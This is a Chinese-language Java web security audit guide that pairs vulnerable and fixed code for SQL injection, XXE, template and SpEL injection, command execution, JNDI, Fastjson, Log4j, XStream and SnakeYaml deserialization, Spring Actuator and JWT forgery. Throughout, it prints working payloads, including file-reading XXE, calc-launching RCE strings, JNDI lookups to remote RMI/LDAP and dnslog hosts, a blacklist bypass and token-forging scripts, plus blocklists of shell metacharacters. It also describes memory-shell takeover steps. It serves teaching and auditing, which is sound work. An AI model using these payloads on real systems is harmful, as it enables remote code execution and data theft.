SQL注入
SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。
JDBC
JDBC有两个方法获取statement对象,分别是preparedStatement和createStatement。
错误写法:
- 采用createstatement方法拼接sql语句
- preparestatement会对sql语句进行编译,但如果直接采用+拼接的方式构造SQL,此时进行编译也无用
// 采用Statement方法拼接SQL语句,导致注入产生
public String vul1(String id) {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
Statement stmt = conn.createStatement();
// 拼接语句产生SQL注入
String sql = "select * from users where id = '" + id + "'";
ResultSet rs = stmt.executeQuery(sql);
...
}
// PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
public String vul2(String id) {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
ResultSet rs = st.executeQuery();
}
正确写法:
使用preparestatement对sql语句进行编译,但是sql语句不使用+拼接,要使用?占位符。
// 正确的使用PrepareStatement可以有效避免SQL注入,使用?作为占位符,进行参数化查询
public String safe1(String id) {
String sql = "select * from users where id = ?";
PreparedStatement st = conn.prepareStatement(sql);
st.setString(1, id);
ResultSet rs = st.executeQuery();
}
mybatis
MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。
mybatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接sql。但是有些情况使用#会报错,开发者为了方便会使用$,从而造成sql注入漏洞。
- order by注入:由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成注入
-
like 注入:模糊搜索时,直接使用 '%#{q}%' 会报错,部分研发图方便直接改成 '%${q}%' 从而造成注入 .
-
in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入 .
// 由于使用#{}会将对象转成字符串,形成order by "user" desc造成错误,因此很多研发会采用${}来解决,从而造成SQL注入
@GetMapping("/vul/order")
public List<User> orderBy(String field, String sort) {
return userMapper.orderBy(field, sort);
}
// xml方式
<select id="orderBy" resultType="com.best.hello.entity.User">
select * from users order by ${field} ${sort}
</select>
// 注解方式
@Select("select * from users order by ${field} desc")
List<User> orderBy2(@Param("field") String field);
// 模糊搜索时,直接使用'%#{q}%' 会报错,部分研发图方便直接改成'%${q}%'从而造成注入
@Select("select * from users where user like '%${q}%'")
List<User> search(String q);
正确写法:
<select id="orderBySafe" resultType="com.best.hello.entity.User">
select * from users
<choose>
<when test="field == 'id'">
order by id desc
</when>
<when test="field == 'user'">
order by user desc
</when>
<otherwise>
order by id desc
</otherwise>
</choose>
</select>
// 安全代码,采用concat
@Select("select * from users where user like concat('%',#{q},'%')")
List<User> search(String q);
XXE漏洞
XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。
审计函数:
* 1. XMLReader
* 2. SAXReader
* 3. DocumentBuilder
* 4. XMLStreamReader
* 5. SAXBuilder
* 6. SAXParser
* 7. SAXSource
* 8. TransformerFactory
* 9. SAXTransformerFactory
* 10. SchemaFactory
* 11. Unmarshaller
* 12. XPathExpression
public String XMLReader(@RequestBody String content) {
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修复:禁用外部实体
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 修复: 禁用外部实体
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
/**
* PoC
* Content-Type: application/xml
* <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/hosts">]><student><name>&out;</name></student>
*/
public String Unmarshaller(@RequestBody String content) {
try {
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller();
XMLInputFactory xif = XMLInputFactory.newFactory();
// 修复: 禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));
Object o = unmarshaller.unmarshal(xsr);
return o.toString();
} catch (Exception e) {
e.printStackTrace();
}
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder();
// 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxbuilder.build(new InputSource(new StringReader(content)));
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
黑名单过滤:
public static boolean checkXXE(String content) {
String[] black_list = {"ENTITY", "DOCTYPE"};
for (String s : black_list) {
if (content.toUpperCase().contains(s)) {
return true;
}
}
return false;
}
poc:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://0g5zvd.dnslog.cn">]><root>&xxe;</root>
Windows: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///C:\windows\win.ini">]><student><name>&out;</name></student>
Linux: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/passwd">]><student><name>&out;</name></student>
SSTI(服务器模板注入)
SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
-
thymeleaf模版注入
//漏洞写法,参数用户可控
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {
// 模版文件参数可控
return "lang/" + lang;
}
//安全写法,相当于是设置一个白名单
public String thymeleafSafe(@RequestParam String lang) {
List<String> white_list = new ArrayList<String>();
white_list.add("en");
white_list.add("zh");
if (white_list.contains(lang)){
return "lang/" + lang;
} else{
return "commons/401";
}
}
poc
lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27calc%27).getInputStream()).next()%7d__::.x
http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27calc%27).getInputStream()).next()%7d__::.x
-
url作为视图
/**
* 如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析
* 在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
System.out.println(document);
}
//安全写法
// 由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
System.out.println(document);
}
poc
http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec(%27%20calc%27)%7D__::.x
参考文章:
SPEL表达式注入(springboot框架)
SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
public String vul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
// StandardEvaluationContext权限过大,可以执行任意代码,默认使用
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(evaluationContext).toString();
return result;
}
//安全代码
// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用
public String spelSafe(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue(simpleContext).toString();
return result;
}
//黑名单过滤
// 黑名单正则,尝试绕过执行恶意代码
public String vul2(String ex) {
String[] black_list = {"java.+lang", "Runtime", "exec.*\\("};
for (String s : black_list) {
Matcher matcher = Pattern.compile(s).matcher(ex);
if (matcher.find()) {
return "黑名单过滤";
}
}
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(ex);
String result = exp.getValue().toString();
return result;
}
利用反射绕过黑名单检测(还未成功):
T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"calc\"})
RCE执行
远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
getRuntime()常用于执行本地命令,使用频率较高。
审计函数/类:
-
Groovy
-
-RuntimeExec
-
-ProcessImpl
-
-ProcessBuilder
-
-ScriptEngineManager
GroovyExec
import groovy.lang.GroovyShell;
@Controller
@RequestMapping("/home/rce")
public class GroovyExec {
@GetMapping("/groovy")
public String groovyExec(String cmd, Model model) {
GroovyShell shell = new GroovyShell();
try {
shell.evaluate(cmd);
model.addAttribute("results", "执行成功!!!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/rce/groovy";
}
}
payload:
cmd="calc".execute()
http://127.0.0.1:8000/home/rce/groovy?cmd=%22calc%22.execute%28%29
RuntimeExec
public class RuntimeExec {
@RequestMapping("/runtime")
public String RuntimeExec(String cmd, Model model) {
StringBuilder sb = new StringBuilder();
String line;
try {
Process proc = Runtime.getRuntime().exec(cmd);
InputStream fis = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(fis, "GBK");
BufferedReader br = new BufferedReader(isr);
while ((line = br.readLine()) != null) {
sb.append(line).append(System.lineSeparator());
}
} catch (IOException e) {
e.printStackTrace();
sb.append(e);
}
model.addAttribute("results", sb.toString());
return "basevul/rce/runtime";
}
}
//安全写法
// 使用白名单替换黑名单。黑名单需要不断更新,而白名单只需要指定允许执行的命令,更容易维护。
public static String safe(String cmd) {
// 定义命令白名单
Set<String> commands = new HashSet<\>();
commands.add("ls");
commands.add("pwd");
// 检查用户提供的命令是否在白名单中
String command = cmd.split("\\s+")[0];
if (!commands.contains(command)) {
return "命令不在白名单中";
}
...
}
上述不安全代码中的cmd用户可控,可以任意执行命令,从而出现rce漏洞;安全写法就是添加一个白名单(只包括我们想要用户执行的命令),对用户输入的命令与白名单匹配,如果出现异常则不能正常执行。
ScriptEngineManager
// 通过加载远程js文件来执行代码,如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc");}
// ⚠️ 在Java 8之后移除了ScriptEngineManager的eval
import javax.script.Bindings;
import javax.script.ScriptContext;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
@Controller
@RequestMapping("/home/rce")
public class LoadJsExec {
@GetMapping("/loadjs")
public String loadJsExec(String url, Model model) {
try {
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
// Bindings:用来存放数据的容器
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String payload = String.format("load('%s')", url);
engine.eval(payload, bindings);
model.addAttribute("results", "远程脚本: " + HtmlUtils.htmlEscape(url) + " 执行成功!");
} catch (Exception e) {
e.printStackTrace();
model.addAttribute("results", e.toString());
}
return "basevul/rce/loadjs";
}
}
ProcessBuilderExec
@Controller
@RequestMapping("/home/rce")
public class ProcessBuilderExec {
@RequestMapping("/processbuilder")
public String ProcessBuilderExec(String ip, String safe, Model model) {
if (safe != null) {
if (Security.checkOs(ip)) {
model.addAttribute("results", "检测到非法命令注入");
return "basevul/rce/processbuilder";
}
}
// String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
StringBuilder sb = new StringBuilder();
String line;
String results;
// 利用指定的操作系统程序和参数构造一个进程生成器
ProcessBuilder pb = new ProcessBuilder(cmdList);
pb.redirectErrorStream(true);
// 使用此进程生成器的属性启动一个新进程
Process process = null;
try {
process = pb.start();
// 取得命令结果的输出流
InputStream fis = process.getInputStream();
// 用一个读输出流类去读
InputStreamReader isr = new InputStreamReader(fis, "GBK");
// 用缓存器读行
BufferedReader br = new BufferedReader(isr);
//直到读完为止
while ((line = br.readLine()) != null) {
sb.append(line).append(System.lineSeparator());
}
results = sb.toString();
} catch (IOException e) {
e.printStackTrace();
results = e.toString();
}
model.addAttribute("results", results);
return "basevul/rce/processbuilder";
}
}
//安全代码
// 自定义黑名单,这里过滤了常见的管道符,可自行添加
public static boolean checkOs(String content) {
String[] black_list = {"|", ",", "&", "&&", ";", "||"};
for (String s : black_list) {
if (content.contains(s)) {
return true;
}
}
return false;
}
上述代码容易造成的漏洞是用户在ip后面拼接恶意命令。
ProcessImpl
// ProcessImpl 是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类
// ProcessImpl 类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的
public static String vul(String cmd) throws Exception {
// 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
Class clazz = Class.forName("java.lang.ProcessImpl");
// 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
// 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);
// 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
上述cmd用户可控,可以执行恶意命令。
JNDI注入
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
常用的协议:
-
RMI:远程方法调用注册表
-
LDAP:轻量级目录访问协议
// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
public void vul(String content) {
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
}
//安全代码
public String safe2(String content) {
List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");
if (whiteList.contains(content)) {
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
return HtmlUtils.htmlEscape(content);
} else {
return "JNDI 白名单拦截";
}
}
上述的content参数用户可控,则可以利用工具直接生成执行恶意命令的url。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
不安全组件
FastJson
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.1.22:1099/4fz7kj","autoCommit":true}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastJson {
@RequestMapping("")
public String fastJson(@RequestBody String content) {
try {
// 转换成object
JSONObject jsonToObject = JSON.parseObject(content);
return jsonToObject.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
}
//安全代码
// 在1.2.68之后的版本,Fastjson增加了safeMode的支持,开启后可完全禁用autoType,注意评估对业务的影响。
// https://github.com/alibaba/fastjson/wiki/fastjson_safemode
public String safe1(@RequestBody String content) {
ParserConfig.getGlobalInstance().setSafeMode(true);
Object obj = JSON.parse(content);
return obj.toString()
}
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>最新版</version>
</dependency>
Jackson
当下流行的json解释器,主要负责处理Json的序列化和反序列化。
import com.fasterxml.jackson.databind.ObjectMapper;
@RestController
@RequestMapping("/home/jackson")
public class Jackson {
@RequestMapping("")
public String vul(@RequestBody String content) {
try {
// content = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"autoCommit\":\"true\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// System.out.println(content);
//mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
Object o = mapper.readValue(content, Object.class);
mapper.writeValueAsString(o);
return "解析成功!";
} catch (Exception e) {
e.printStackTrace();
return e.toString();
}
}
}
//安全开发尽量使用最新版本jackson
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":"true"}]
Shiro
Java安全框架,能够用于身份验证、授权、加密和会话管理。
特征:包中存在rememberme字段。
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import java.util.Base64;
@RestController
@RequestMapping("/home/shiro")
public class Shiro {
@PostMapping("/login")
public String login(String username, String password, String rememberMe) {
if (username.equals("") || password.equals(""))
return "请输入用户名和密码";
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
if (rememberMe.equals("true")) {
System.out.println(rememberMe);
token.setRememberMe(true);
}
try {
subject.login(token);
} catch (UnknownAccountException e) {
return "用户名不存在";
} catch (AuthenticationException e) {
return "认证失败";
}
return "登录成功";
}
@GetMapping("/getUser")
public Object getUser() {
return SecurityUtils.getSubject().toString();
}
@GetMapping("/notics")
public String notics() {
return "通知";
}
@RequestMapping(value = "/getkey")
public String getShiroKey() {
try {
byte[] key = new CookieRememberMeManager().getCipherKey();
return "shiro key: \n" + new String(Base64.getEncoder().encode(key));
} catch (Exception e) {
return e.toString();
}
}
}
如果发现存在shiro反序列化漏洞,我们可以直接使用工具。
XStream
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
payload:
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>
// 客户端请求的字符串作为 XML 反序列化为 Java 对象
public String vul(@RequestBody String content) {
XStream xs = new XStream();
xs.fromXML(content);
return "XStream Vul";
}
//安全代码
public String vul(@RequestBody String content) {
XStream xs = new XStream();
// 修复:1.4.10后可用,启用黑名单特性的安全配置
XStream.setupDefaultSecurity(xs);
xs.fromXML(content);
return "XStream Safe";
}
Log4j
Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。
这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),
该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
payload
${jndi:rmi://192.168.1.22:1099/4fz7kj}
public class Log4j {
private static final Logger logger = LogManager.getLogger(Log4j.class);
@RequestMapping("")
public String log4j(String content) {
logger.error(content);
return "Log4j2 JNDI Injection";
}
}
审计思路
FastJson
首先全局搜索JSON.parseObject/JSON.parse,找到有用户可控参数的,判断其参数是否有过滤;同时可以pom.xml中查看fastjson的版本,然后直接搜索该版本的fastjson是否爆出过漏洞
然后找到参数所在位置、传参位置,对应到前端页码的功能点
然后抓包 修改对应参数 判断是否可以带外
测试出网回显调用访问
{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"} val后面可以使用yakit生成dnslog
Log4j
全局搜索logger.error/logger.info ,找到有用户可控参数的,判断其参数是否有过滤;同时可以pom.xml中查看Log4j的版本,然后直接搜索该版本的Log4j是否爆出过漏洞
然后找到参数所在位置、传参位置,对应到前端页码的功能点
然后抓包 修改对应参数 判断是否可以带外
测试出网回显调用访问
${jndi:ldap://jebqzwhwtn.dnstunnel.run} dnslog带外查询
${jndi:rmi://192.168.1.22:1099/xhba5d} 使用的是上面jndi注入方法
对于log这种日志记录的,我们在黑盒就随便插就行了,因为我们不确定日志都记录哪些信息。
不回显常见判断通用方法
- 直接将执行结果写入到静态资源文件里,如html、js等,然后访问html文件
- 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
- 将命令执行结果回显到请求poc的http响应中。
参考文章:面试长问|Fastjson不出网利用总结
反序列化漏洞
readObject
序列化是将 Java 对象转换成字节流的过程。而反序列化是将字节流转换成 Java 对象的过程
java序列化的数据一般会以标记(ac ed 00 05)开头(十六进制),base64编码后的特征为rO0AB开头
JAVA 常见的序列化和反序列化的方法有JAVA 原生序列化和 JSON 类(fastjson、jackson)序列化
序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。在java中任何类如果想要序列化必须实现java.io.Serializable接口
java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个标记,让jre确定这个类是可以序列化的。
同时java中支持在类中定义writeObject、readObject函数,这两个函数不是java.io.Serializable的接口函数,而是约定的函数;如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因。
// readObject,读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。
// 生成payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "calc" | base64
public String cc(String base64) {
try {
base64 = base64.replace(" ", "+");
byte[] bytes = Base64.getDecoder().decode(base64);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 反序列化流,将序列化的原始数据恢复为对象
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return "反序列化漏洞";
} catch (Exception e) {
return e.toString();
}
}
//安全代码
// 使用Apache Commons IO的ValidatingObjectInputStream,accept方法来实现反序列化类白/黑名单控制
public String safe(String base64) {
try {
base64 = base64.replace(" ", "+");
byte[] bytes = Base64.getDecoder().decode(base64);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
// 只允许反序列化Student class
ois.accept(Student.class);
ois.readObject();
return "ValidatingObjectInputStream";
} catch (Exception e) {
return e.toString();
}
思路:
- 源码中有反序列化函数,然后我们就要看对应的commons-collections版本(如果使用maven可以从pom.xml中查看),根据版本找到对应的CommonsCollections(利用工具ysoserial-0.0.8-SNAPSHOT-all)
2.利用工具生成payload(使用yakit)
也可以使用dnslog带外查询判断是否执行成功。
payload:
工具:
使用SerializedPayloadGenerator工具
使用yakit中的yso-java hack
xmldecoder
// XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容
String path = "src/main/resources/payload/calc-1.xml";
File file = new File(path);
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
} catch (Exception e) {
e.printStackTrace();
}
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);
xmlDecoder.readObject();
xmlDecoder.close();
就是对反序列化的xml文件用户可控且没有过滤,从而造成的反序列化漏洞。
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_151" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object> </java>
SnakeYaml
// 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控
public void yaml(String content) {
Yaml y = new Yaml();
y.load(content);
}
//安全代码
// SafeConstructor 是 SnakeYaml 提供的一个安全的构造器。它可以用来构造安全的对象,避免反序列化漏洞的发生。
public void safe(String content) {
Yaml y = new Yaml(new SafeConstructor());
y.load(content);
log.info("[safe] SnakeYaml反序列化: " + content);
}
payload:
@poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
@poc content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
SpringBoot框架 Actuator
SpringBoot参考文章:https://github.com/LandGrey/SpringBootVulExploit
SpringBoot判断(fofa): body="Whitelabel Error Page" icon_hash="116323821"
Actuator的判断:
- 黑盒:使用BP插件(APIkit);只有把数据包经过BP,该插件就会自动分析接口。
- 白盒:查看pom.xml中是否有actuator依赖
依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
- 渗透框架SpringBoot-Scan-2.03
- 主要用作扫描Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞(使用参数-v)。
敏感信息的提取(工具:JDumpSpider-1.1-SNAPSHOT-full.jar):
如果我们可以下载到/actuator/heapdump文件,我们就可以直接使用工具提取其中的敏感信息。
敏感信息的提取(工具:heapdump_tool.jar):(相比这个更方面,我们可以直接选择我们需要的信息)
漏洞的检测 工具:SpringBootExploit-1.3-SNAPSHOT-all.jar
参考文章:GitHub - 0x727/SpringBootExploit: 项目是根据LandGrey/SpringBootVulExploit清单编写,目的hvv期间快速利用漏洞、降低漏洞利用门槛。
该工具会帮助我们根据提取到的信息检测分析并利用漏洞
服务器地址的玩法
当检测到漏洞以后,我们使用jndi执行一下命令。(注意:参数和上面的服务器配置端口要一样)
当内存马注入成功后,我们使用冰蝎连接;成功打进服务器,拿下权限。
Druid监控
Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
攻击点:
- 直接再url访问,尝试通过未授权访问系统功能点
- 利用session信息,进行后台的登录
参考文章:Druid未授权访问 漏洞复现-阿里云开发者社区
Swagger接口
- 当我们发现大量接口的时候我们可以采用postman进行自动化测试。
postman会帮助我们测试所有的接口,注意上面的数据包,很明显ua是postman;但如果服务器对ua检测的话会阻止我们这种请求。
我们可以使用BP和postman联动,让poatman的流量经过BP代理;在BP可以清楚的查看、修改数据包。
然后可以使用BP和xray联动,直接让xray对地址进行安全测试。
JWT令牌
JWT识别:
JWT通常由三部分组成(header、payload、signature),且中间是以.分隔;其中header和payload部分是由eyJ开头。
- 标头header
- 有效载荷payload
- 签名signature
BP插件识别
安装HaE和JSON Web Token
HaE:可以帮我们筛选数据包,通过关键字显示不同颜色。
JSON Web Token:可以自动帮助我们解析JWT数据。
插件功能:
JWT攻击
-
空加密算法(攻击头部不使用加密): 签名算法可被修改为none,JWT支持将算法设定为 "None" 。如果header部分的 "alg" 字段设为 "None" ,那么签名会被置空,这样任何token都是有效的。(签名置空只剩两部分);我们可以直接使用base64解码之后修改前两个字段的值再进行base64编码即可。
-
未校验签名;有些服务端并未校验JWT签名,我们可以把alg改为none,然后直接修改其payload的值,把签名部分的值删掉。(可以直接使用BP插件json web tokens或者jwt_tool-2.2.6)
-
暴力破解密钥(攻击签名知道密钥实现重组)针对是对称加密算法(非对称没有用);非对称要使用方法:获取源码或者公钥私钥文件某些签名算法,例如HS256(HMAC + SHA - 256 ),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。这个秘钥如被轻易猜到或暴力破解,则攻击者能以任意的头部和载荷值来创建JWT,然后用密钥重新给令牌签名。
- 如果采用RS非对称加密算法;我们就可以找泄露的公钥/私钥(用来解密的那个)。然后把加密方式转换成对称的(HS256),利用该泄露的密钥进行加密。
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
- 如果加密的密钥泄露了,我们可以利用该加密的密钥进行重组数据;生成我们想要的TOKEN.
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))